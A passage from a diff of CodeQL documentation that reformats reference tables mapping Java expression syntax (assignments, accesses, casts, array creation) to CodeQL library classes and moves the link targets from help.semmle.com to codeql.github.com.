-+--------------------------+----------------------+--------------+ -| `Expr`_ ``^=`` `Expr`_ | `AssignXorExpr`_ | `AssignOp`_ | -+--------------------------+----------------------+--------------+ -| `Expr`_ ``<<=`` `Expr`_ | `AssignLShiftExpr`_ | `AssignOp`_ | -+--------------------------+----------------------+--------------+ -| `Expr`_ ``>>=`` `Expr`_ | `AssignRShiftExpr`_ | `AssignOp`_ | -+--------------------------+----------------------+--------------+ -| `Expr`_ ``>>>=`` `Expr`_ | `AssignURShiftExpr`_ | `AssignOp`_ | -+--------------------------+----------------------+--------------+ ++--------------------------+----------------------+-----------------+ +| Expression syntax | CodeQL class | Superclasses | ++==========================+======================+=================+ +| `Expr`_ ``=`` `Expr`_ | `AssignExpr`_ | | ++--------------------------+----------------------+-----------------+ +| `Expr`_ ``+=`` `Expr`_ | `AssignAddExpr`_ | `AssignOp`_ | ++--------------------------+----------------------+-----------------+ +| `Expr`_ ``-=`` `Expr`_ | `AssignSubExpr`_ | `AssignOp`_ | ++--------------------------+----------------------+-----------------+ +| `Expr`_ ``*=`` `Expr`_ | `AssignMulExpr`_ | `AssignOp`_ | ++--------------------------+----------------------+-----------------+ +| `Expr`_ ``/=`` `Expr`_ | `AssignDivExpr`_ | `AssignOp`_ | ++--------------------------+----------------------+-----------------+ +| `Expr`_ ``%=`` `Expr`_ | `AssignRemExpr`_ | `AssignOp`_ | ++--------------------------+----------------------+-----------------+ +| `Expr`_ ``&=`` `Expr`_ | `AssignAndExpr`_ | `AssignOp`_ | ++--------------------------+----------------------+-----------------+ +| `Expr`_ ``|=`` `Expr`_ | `AssignOrExpr`_ | `AssignOp`_ | ++--------------------------+----------------------+-----------------+ +| `Expr`_ ``^=`` `Expr`_ | `AssignXorExpr`_ | `AssignOp`_ | ++--------------------------+----------------------+-----------------+ +| `Expr`_ ``<<=`` `Expr`_ | `AssignLShiftExpr`_ | `AssignOp`_ | ++--------------------------+----------------------+-----------------+ +| `Expr`_ ``>>=`` `Expr`_ | `AssignRShiftExpr`_ | `AssignOp`_ | ++--------------------------+----------------------+-----------------+ +| `Expr`_ ``>>>=`` `Expr`_ | `AssignURShiftExpr`_ | `AssignOp`_ | ++--------------------------+----------------------+-----------------+ Accesses ~~~~~~~~ -+--------------------------------------+-------------------------------------------------------------------------------------------------------------------------+ -| Expression syntax examples | CodeQL class | -+======================================+=========================================================================================================================+ -| ``this`` | `ThisAccess <https://help.semmle.com/qldoc/java/semmle/code/java/Expr.qll/type.Expr$ThisAccess.html>`__ | -+--------------------------------------+ + -| ``Outer.this`` | | -+--------------------------------------+-------------------------------------------------------------------------------------------------------------------------+ -| ``super`` | `SuperAccess <https://help.semmle.com/qldoc/java/semmle/code/java/Expr.qll/type.Expr$SuperAccess.html>`__ | -+--------------------------------------+ + -| ``Outer.super`` | | -+--------------------------------------+-------------------------------------------------------------------------------------------------------------------------+ -| ``x`` | `VarAccess <https://help.semmle.com/qldoc/java/semmle/code/java/Expr.qll/type.Expr$VarAccess.html>`__ | -+--------------------------------------+ + -| ``e.f`` | | -+--------------------------------------+-------------------------------------------------------------------------------------------------------------------------+ -| ``a[i]`` | `ArrayAccess <https://help.semmle.com/qldoc/java/semmle/code/java/Expr.qll/type.Expr$ArrayAccess.html>`__ | -+--------------------------------------+-------------------------------------------------------------------------------------------------------------------------+ -| ``f(...)`` | `MethodAccess <https://help.semmle.com/qldoc/java/semmle/code/java/Expr.qll/type.Expr$MethodAccess.html>`__ | -+--------------------------------------+ + -| ``e.m(...)`` | | -+--------------------------------------+-------------------------------------------------------------------------------------------------------------------------+ -| ``String`` | `TypeAccess <https://help.semmle.com/qldoc/java/semmle/code/java/Expr.qll/type.Expr$TypeAccess.html>`__ | -+--------------------------------------+ + -| ``java.lang.String`` | | -+--------------------------------------+-------------------------------------------------------------------------------------------------------------------------+ -| ``? extends Number`` | `WildcardTypeAccess <https://help.semmle.com/qldoc/java/semmle/code/java/Expr.qll/type.Expr$WildcardTypeAccess.html>`__ | -+--------------------------------------+ + -| ``? super Double`` | | -+--------------------------------------+-------------------------------------------------------------------------------------------------------------------------+ ++--------------------------------+---------------------+ +| Expression syntax examples | CodeQL class | ++================================+=====================+ +| ``this`` | ThisAccess_ | ++--------------------------------+ | +| ``Outer.this`` | | ++--------------------------------+---------------------+ +| ``super`` | SuperAccess_ | ++--------------------------------+ | +| ``Outer.super`` | | ++--------------------------------+---------------------+ +| ``x`` | VarAccess_ | ++--------------------------------+ | +| ``e.f`` | | ++--------------------------------+---------------------+ +| ``a[i]`` | ArrayAccess_ | ++--------------------------------+---------------------+ +| ``f(...)`` | MethodAccess_ | ++--------------------------------+ | +| ``e.m(...)`` | | ++--------------------------------+---------------------+ +| ``String`` | TypeAccess_ | ++--------------------------------+ | +| ``java.lang.String`` | | ++--------------------------------+---------------------+ +| ``? extends Number`` | WildcardTypeAccess_ | ++--------------------------------+ | +| ``? super Double`` | | ++--------------------------------+---------------------+ -A `VarAccess <https://help.semmle.com/qldoc/java/semmle/code/java/Expr.qll/type.Expr$VarAccess.html>`__ that refers to a field is a `FieldAccess <https://help.semmle.com/qldoc/java/semmle/code/java/Expr.qll/type.Expr$FieldAccess.html>`__. +A VarAccess_ that refers to a field is a FieldAccess_. Miscellaneous ~~~~~~~~~~~~~ -+------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------+-----------------------------------------------------------------------------+ -| Expression syntax examples | CodeQL class | Remarks | -+==================================================================+=======================================================================================================================+=============================================================================+ -| ``(int) f`` | `CastExpr <https://help.semmle.com/qldoc/java/semmle/code/java/Expr.qll/type.Expr$CastExpr.html>`__ | | -+------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------+-----------------------------------------------------------------------------+ -| ``(23 + 42)`` | `ParExpr <https://help.semmle.com/qldoc/java/semmle/code/java/Expr.qll/type.Expr$ParExpr.html>`__ | | -+------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------+-----------------------------------------------------------------------------+ -| ``o instanceof String`` | `InstanceOfExpr <https://help.semmle.com/qldoc/java/semmle/code/java/Expr.qll/type.Expr$InstanceOfExpr.html>`__ | | -+------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------+-----------------------------------------------------------------------------+ -| `Expr`_ ``?`` `Expr`_ ``:`` `Expr`_ | `ConditionalExpr <https://help.semmle.com/qldoc/java/semmle/code/java/Expr.qll/type.Expr$ConditionalExpr.html>`__ | | -+------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------+-----------------------------------------------------------------------------+ -| ``String. class`` | `TypeLiteral <https://help.semmle.com/qldoc/java/semmle/code/java/Expr.qll/type.Expr$TypeLiteral.html>`__ | | -+------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------+-----------------------------------------------------------------------------+ -| ``new A()`` | `ClassInstanceExpr <https://help.semmle.com/qldoc/java/semmle/code/java/Expr.qll/type.Expr$ClassInstanceExpr.html>`__ | | -+------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------+-----------------------------------------------------------------------------+ -| ``new String[3][2]`` | `ArrayCreationExpr <https://help.semmle.com/qldoc/java/semmle/code/java/Expr.qll/type.Expr$ArrayCreationExpr.html>`__ | | -+------------------------------------------------------------------+ + + -| ``new int[] { 23, 42 }`` | | | -+------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------+-----------------------------------------------------------------------------+ -| ``{ 23, 42 }`` | `ArrayInit <https://help.semmle.com/qldoc/java/semmle/code/java/Expr.qll/type.Expr$ArrayInit.html>`__ | can only appear as an initializer or as a child of an `ArrayCreationExpr`_ | -+------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------+-----------------------------------------------------------------------------+ -| ``@Annot(key=val)`` | `Annotation <https://help.semmle.com/qldoc/java/semmle/code/java/Annotation.qll/type.Annotation$Annotation.html>`__ |   | -+------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------+-----------------------------------------------------------------------------+ ++-------------------------------------+--------------------+----------------------------------------------------------------------------+ +| Expression syntax examples | CodeQL class | Remarks | ++=====================================+====================+============================================================================+ +| ``(int) f`` | CastExpr_ | | ++-------------------------------------+--------------------+----------------------------------------------------------------------------+ +| ``(23 + 42)`` | ParExpr_ | | ++-------------------------------------+--------------------+----------------------------------------------------------------------------+ +| ``o instanceof String`` | InstanceOfExpr_ | | ++-------------------------------------+--------------------+----------------------------------------------------------------------------+ +| `Expr`_ ``?`` `Expr`_ ``:`` `Expr`_ | ConditionalExpr_ | | ++-------------------------------------+--------------------+----------------------------------------------------------------------------+ +| ``String. class`` | TypeLiteral_ | | ++-------------------------------------+--------------------+----------------------------------------------------------------------------+ +| ``new A()`` | ClassInstanceExpr_ | | ++-------------------------------------+--------------------+----------------------------------------------------------------------------+ +| ``new String[3][2]`` | ArrayCreationExpr_ | | ++-------------------------------------+ | | +| ``new int[] { 23, 42 }`` | | | ++-------------------------------------+--------------------+----------------------------------------------------------------------------+ +| ``{ 23, 42 }`` | ArrayInit_ | can only appear as an initializer or as a child of an `ArrayCreationExpr`_ | ++-------------------------------------+--------------------+----------------------------------------------------------------------------+ +| ``@Annot(key=val)`` | Annotation_ | | ++-------------------------------------+--------------------+----------------------------------------------------------------------------+ Further reading --------------- @@ -277,71 +277,108 @@ Further reading .. include:: ../reusables/java-further-reading.rst .. include:: ../reusables/codeql-ref-tools-further-reading.rst -.. _Expr: https://help.semmle.com/qldoc/java/semmle/code/java/Expr.qll/type.Expr$Expr.html -.. _Stmt: https://help.semmle.com/qldoc/java/semmle/code/java/Statement.qll/type.Statement$Stmt.html -.. _VarAccess: https://help.semmle.com/qldoc/java/semmle/code/java/Expr.qll/type.Expr$VarAccess.html -.. _SwitchCase: https://help.semmle.com/qldoc/java/semmle/code/java/Statement.qll/type.Statement$SwitchCase.html -.. _TypeAccess: https://help.semmle.com/qldoc/java/semmle/code/java/Expr.qll/type.Expr$TypeAccess.html -.. _Member: https://help.semmle.com/qldoc/java/semmle/code/java/Member.qll/type.Member$Member.html -.. _Literal: https://help.semmle.com/qldoc/java/semmle/code/java/Expr.qll/type.Expr$Literal.html -.. _ConditionalStmt: https://help.semmle.com/qldoc/java/semmle/code/java/Statement.qll/type.Statement$ConditionalStmt.html -.. _LoopStmt: https://help.semmle.com/qldoc/java/semmle/code/java/Statement.qll/type.Statement$LoopStmt.html -.. _JumpStmt: https://help.semmle.com/qldoc/java/semmle/code/java/Statement.qll/type.Statement$JumpStmt.html -.. _TryStmt: https://help.semmle.com/qldoc/java/semmle/code/java/Statement.qll/type.Statement$TryStmt.html -.. _SwitchStmt: https://help.semmle.com/qldoc/java/semmle/code/java/Statement.qll/type.Statement$SwitchStmt.html -.. _BooleanLiteral: https://help.semmle.com/qldoc/java/semmle/code/java/Expr.qll/type.Expr$BooleanLiteral.html -.. _IntegerLiteral: https://help.semmle.com/qldoc/java/semmle/code/java/Expr.qll/type.Expr$IntegerLiteral.html -.. _LongLiteral: https://help.semmle.com/qldoc/java/semmle/code/java/Expr.qll/type.Expr$LongLiteral.html -.. _FloatingPointLiteral: https://help.semmle.com/qldoc/java/semmle/code/java/Expr.qll/type.Expr$FloatingPointLiteral.html -.. _DoubleLiteral: https://help.semmle.com/qldoc/java/semmle/code/java/Expr.qll/type.Expr$DoubleLiteral.html -.. _CharacterLiteral: https://help.semmle.com/qldoc/java/semmle/code/java/Expr.qll/type.Expr$CharacterLiteral.html -.. _StringLiteral: https://help.semmle.com/qldoc/java/semmle/code/java/Expr.qll/type.Expr$StringLiteral.html -.. _NullLiteral: https://help.semmle.com/qldoc/java/semmle/code/java/Expr.qll/type.Expr$NullLiteral.html -.. _PostIncExpr: https://help.semmle.com/qldoc/java/semmle/code/java/Expr.qll/type.Expr$PostIncExpr.html -.. _PostDecExpr: https://help.semmle.com/qldoc/java/semmle/code/java/Expr.qll/type.Expr$PostDecExpr.html -.. _PreIncExpr: https://help.semmle.com/qldoc/java/semmle/code/java/Expr.qll/type.Expr$PreIncExpr.html -.. _PreDecExpr: https://help.semmle.com/qldoc/java/semmle/code/java/Expr.qll/type.Expr$PreDecExpr.html -.. _BitNotExpr: https://help.semmle.com/qldoc/java/semmle/code/java/Expr.qll/type.Expr$BitNotExpr.html -.. _MinusExpr: https://help.semmle.com/qldoc/java/semmle/code/java/Expr.qll/type.Expr$MinusExpr.html -.. _PlusExpr: https://help.semmle.com/qldoc/java/semmle/code/java/Expr.qll/type.Expr$PlusExpr.html -.. _LogNotExpr: https://help.semmle.com/qldoc/java/semmle/code/java/Expr.qll/type.Expr$LogNotExpr.html -.. _UnaryAssignExpr: https://help.semmle.com/qldoc/java/semmle/code/java/Expr.qll/type.Expr$UnaryAssignExpr.html -.. _BitwiseExpr: https://help.semmle.com/qldoc/java/semmle/code/java/Expr.qll/type.Expr$BitwiseExpr.html -.. _LogicExpr: https://help.semmle.com/qldoc/java/semmle/code/java/Expr.qll/type.Expr$LogicExpr.html -.. _MulExpr: https://help.semmle.com/qldoc/java/semmle/code/java/Expr.qll/type.Expr$MulExpr.html -.. _DivExpr: https://help.semmle.com/qldoc/java/semmle/code/java/Expr.qll/type.Expr$DivExpr.html -.. _RemExpr: https://help.semmle.com/qldoc/java/semmle/code/java/Expr.qll/type.Expr$RemExpr.html -.. _AddExpr: https://help.semmle.com/qldoc/java/semmle/code/java/Expr.qll/type.Expr$AddExpr.html -.. _SubExpr: https://help.semmle.com/qldoc/java/semmle/code/java/Expr.qll/type.Expr$SubExpr.html -.. _LShiftExpr: https://help.semmle.com/qldoc/java/semmle/code/java/Expr.qll/type.Expr$LShiftExpr.html -.. _RShiftExpr: https://help.semmle.com/qldoc/java/semmle/code/java/Expr.qll/type.Expr$RShiftExpr.html -.. _URShiftExpr: https://help.semmle.com/qldoc/java/semmle/code/java/Expr.qll/type.Expr$URShiftExpr.html -.. _AndLogicalExpr: https://help.semmle.com/qldoc/java/semmle/code/java/Expr.qll/type.Expr$AndLogicalExpr.html -.. _OrLogicalExpr: https://help.semmle.com/qldoc/java/semmle/code/java/Expr.qll/type.Expr$OrLogicalExpr.html -.. _LTExpr: https://help.semmle.com/qldoc/java/semmle/code/java/Expr.qll/type.Expr$LTExpr.html -.. _GTExpr: https://help.semmle.com/qldoc/java/semmle/code/java/Expr.qll/type.Expr$GTExpr.html -.. _LEExpr: https://help.semmle.com/qldoc/java/semmle/code/java/Expr.qll/type.Expr$LEExpr.html -.. _GEExpr: https://help.semmle.com/qldoc/java/semmle/code/java/Expr.qll/type.Expr$GEExpr.html -.. _EQExpr: https://help.semmle.com/qldoc/java/semmle/code/java/Expr.qll/type.Expr$EQExpr.html -.. _NEExpr: https://help.semmle.com/qldoc/java/semmle/code/java/Expr.qll/type.Expr$NEExpr.html -.. _AndBitwiseExpr: https://help.semmle.com/qldoc/java/semmle/code/java/Expr.qll/type.Expr$AndBitwiseExpr.html -.. _OrBitwiseExpr: https://help.semmle.com/qldoc/java/semmle/code/java/Expr.qll/type.Expr$OrBitwiseExpr.html -.. _XorBitwiseExpr: https://help.semmle.com/qldoc/java/semmle/code/java/Expr.qll/type.Expr$XorBitwiseExpr.html -.. _LogicExpr: https://help.semmle.com/qldoc/java/semmle/code/java/Expr.qll/type.Expr$LogicExpr.html -.. _ComparisonExpr: https://help.semmle.com/qldoc/java/semmle/code/java/Expr.qll/type.Expr$ComparisonExpr.html -.. _EqualityTest: https://help.semmle.com/qldoc/java/semmle/code/java/Expr.qll/type.Expr$EqualityTest.html -.. _BitwiseExpr: https://help.semmle.com/qldoc/java/semmle/code/java/Expr.qll/type.Expr$BitwiseExpr.html -.. _AssignExpr: https://help.semmle.com/qldoc/java/semmle/code/java/Expr.qll/type.Expr$AssignExpr.html -.. _AssignAddExpr: https://help.semmle.com/qldoc/java/semmle/code/java/Expr.qll/type.Expr$AssignAddExpr.html -.. _AssignSubExpr: https://help.semmle.com/qldoc/java/semmle/code/java/Expr.qll/type.Expr$AssignSubExpr.html -.. _AssignMulExpr: https://help.semmle.com/qldoc/java/semmle/code/java/Expr.qll/type.Expr$AssignMulExpr.html -.. _AssignDivExpr: https://help.semmle.com/qldoc/java/semmle/code/java/Expr.qll/type.Expr$AssignDivExpr.html -.. _AssignRemExpr: https://help.semmle.com/qldoc/java/semmle/code/java/Expr.qll/type.Expr$AssignRemExpr.html -.. _AssignAndExpr: https://help.semmle.com/qldoc/java/semmle/code/java/Expr.qll/type.Expr$AssignAndExpr.html -.. _AssignOrExpr: https://help.semmle.com/qldoc/java/semmle/code/java/Expr.qll/type.Expr$AssignOrExpr.html -.. _AssignXorExpr: https://help.semmle.com/qldoc/java/semmle/code/java/Expr.qll/type.Expr$AssignXorExpr.html -.. _AssignLShiftExpr: https://help.semmle.com/qldoc/java/semmle/code/java/Expr.qll/type.Expr$AssignLShiftExpr.html -.. _AssignRShiftExpr: https://help.semmle.com/qldoc/java/semmle/code/java/Expr.qll/type.Expr$AssignRShiftExpr.html -.. _AssignURShiftExpr: https://help.semmle.com/qldoc/java/semmle/code/java/Expr.qll/type.Expr$AssignURShiftExpr.html -.. _AssignOp: https://help.semmle.com/qldoc/java/semmle/code/java/Expr.qll/type.Expr$AssignOp.html -.. _ArrayCreationExpr: https://help.semmle.com/qldoc/java/semmle/code/java/Expr.qll/type.Expr$ArrayCreationExpr.html +.. _Expr: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Expr.html +.. _Stmt: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Statement.qll/type.Statement$Stmt.html +.. _VarAccess: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$VarAccess.html +.. _SwitchCase: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Statement.qll/type.Statement$SwitchCase.html +.. _TypeAccess: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$TypeAccess.html +.. _Member: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Member.qll/type.Member$Member.html +.. _Literal: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Literal.html +.. _ConditionalStmt: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Statement.qll/type.Statement$ConditionalStmt.html +.. _LoopStmt: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Statement.qll/type.Statement$LoopStmt.html +.. _JumpStmt: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Statement.qll/type.Statement$JumpStmt.html +.. _TryStmt: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Statement.qll/type.Statement$TryStmt.html +.. _SwitchStmt: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Statement.qll/type.Statement$SwitchStmt.html +.. _BooleanLiteral: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$BooleanLiteral.html +.. _IntegerLiteral: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$IntegerLiteral.html +.. _LongLiteral: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$LongLiteral.html +.. _FloatingPointLiteral: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$FloatingPointLiteral.html +.. _DoubleLiteral: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$DoubleLiteral.html +.. _CharacterLiteral: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$CharacterLiteral.html +.. _StringLiteral: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$StringLiteral.html +.. _NullLiteral: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$NullLiteral.html +.. _PostIncExpr: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$PostIncExpr.html +.. _PostDecExpr: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$PostDecExpr.html +.. _PreIncExpr: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$PreIncExpr.html +.. _PreDecExpr: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$PreDecExpr.html +.. _BitNotExpr: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$BitNotExpr.html +.. _MinusExpr: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$MinusExpr.html +.. _PlusExpr: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$PlusExpr.html +.. _LogNotExpr: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$LogNotExpr.html +.. _UnaryAssignExpr: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$UnaryAssignExpr.html +.. _BitwiseExpr: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$BitwiseExpr.html +.. _LogicExpr: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$LogicExpr.html +.. _MulExpr: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$MulExpr.html +.. _DivExpr: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$DivExpr.html +.. _RemExpr: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$RemExpr.html +.. _AddExpr: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$AddExpr.html +.. _SubExpr: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$SubExpr.html +.. _LShiftExpr: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$LShiftExpr.html +.. _RShiftExpr: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$RShiftExpr.html +.. _URShiftExpr: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$URShiftExpr.html +.. _AndLogicalExpr: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$AndLogicalExpr.html +.. _OrLogicalExpr: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$OrLogicalExpr.html +.. _LTExpr: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$LTExpr.html +.. _GTExpr: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$GTExpr.html +.. _LEExpr: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$LEExpr.html +.. _GEExpr: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$GEExpr.html +.. _EQExpr: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$EQExpr.html +.. _NEExpr: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$NEExpr.html +.. _AndBitwiseExpr: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$AndBitwiseExpr.html +.. _OrBitwiseExpr: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$OrBitwiseExpr.html +.. _XorBitwiseExpr: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$XorBitwiseExpr.html +.. _ComparisonExpr: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$ComparisonExpr.html +.. _EqualityTest: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$EqualityTest.html +.. _AssignExpr: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$AssignExpr.html +.. _AssignAddExpr: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$AssignAddExpr.html +.. _AssignSubExpr: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$AssignSubExpr.html +.. _AssignMulExpr: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$AssignMulExpr.html +.. _AssignDivExpr: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$AssignDivExpr.html +.. _AssignRemExpr: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$AssignRemExpr.html +.. _AssignAndExpr: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$AssignAndExpr.html +.. _AssignOrExpr: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$AssignOrExpr.html +.. _AssignXorExpr: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$AssignXorExpr.html +.. _AssignLShiftExpr: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$AssignLShiftExpr.html +.. _AssignRShiftExpr: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$AssignRShiftExpr.html +.. _AssignURShiftExpr: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$AssignURShiftExpr.html +.. _AssignOp: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$AssignOp.html +.. _ArrayCreationExpr: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$ArrayCreationExpr.html +.. _EmptyStmt: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Statement.qll/type.Statement$EmptyStmt.html +.. _ExprStmt: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Statement.qll/type.Statement$ExprStmt.html +.. _Block: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Statement.qll/type.Statement$Block.html +.. _IfStmt: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Statement.qll/type.Statement$IfStmt.html +.. _WhileStmt: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Statement.qll/type.Statement$WhileStmt.html +.. _DoStmt: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Statement.qll/type.Statement$DoStmt.html +.. _ForStmt: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Statement.qll/type.Statement$ForStmt.html +.. _EnhancedForStmt: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Statement.qll/type.Statement$EnhancedForStmt.html +.. _ReturnStmt: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Statement.qll/type.Statement$ReturnStmt.html +.. _ThrowStmt: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Statement.qll/type.Statement$ThrowStmt.html +.. _BreakStmt: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Statement.qll/type.Statement$BreakStmt.html +.. _ContinueStmt: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Statement.qll/type.Statement$ContinueStmt.html +.. _LabeledStmt: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Statement.qll/type.Statement$LabeledStmt.html +.. _SynchronizedStmt: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Statement.qll/type.Statement$SynchronizedStmt.html +.. _AssertStmt: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Statement.qll/type.Statement$AssertStmt.html +.. _LocalVariableDeclStmt: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Statement.qll/type.Statement$LocalVariableDeclStmt.html +.. _LocalClassDeclStmt: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Statement.qll/type.Statement$LocalClassDeclStmt.html +.. _ThisConstructorInvocationStmt: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Statement.qll/type.Statement$ThisConstructorInvocationStmt.html +.. _SuperConstructorInvocationStmt: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Statement.qll/type.Statement$SuperConstructorInvocationStmt.html +.. _CatchClause: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Statement.qll/type.Statement$CatchClause.html +.. _ConstCase: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Statement.qll/type.Statement$ConstCase.html +.. _DefaultCase: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Statement.qll/type.Statement$DefaultCase.html +.. _UnaryExpr: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$UnaryExpr.html +.. _BinaryExpr: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$BinaryExpr.html +.. _Assignment: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Assignment.html +.. _ThisAccess: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$ThisAccess.html +.. _SuperAccess: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$SuperAccess.html +.. _ArrayAccess: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$ArrayAccess.html +.. _MethodAccess: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$MethodAccess.html +.. _WildcardTypeAccess: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$WildcardTypeAccess.html +.. _FieldAccess: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$FieldAccess.html +.. 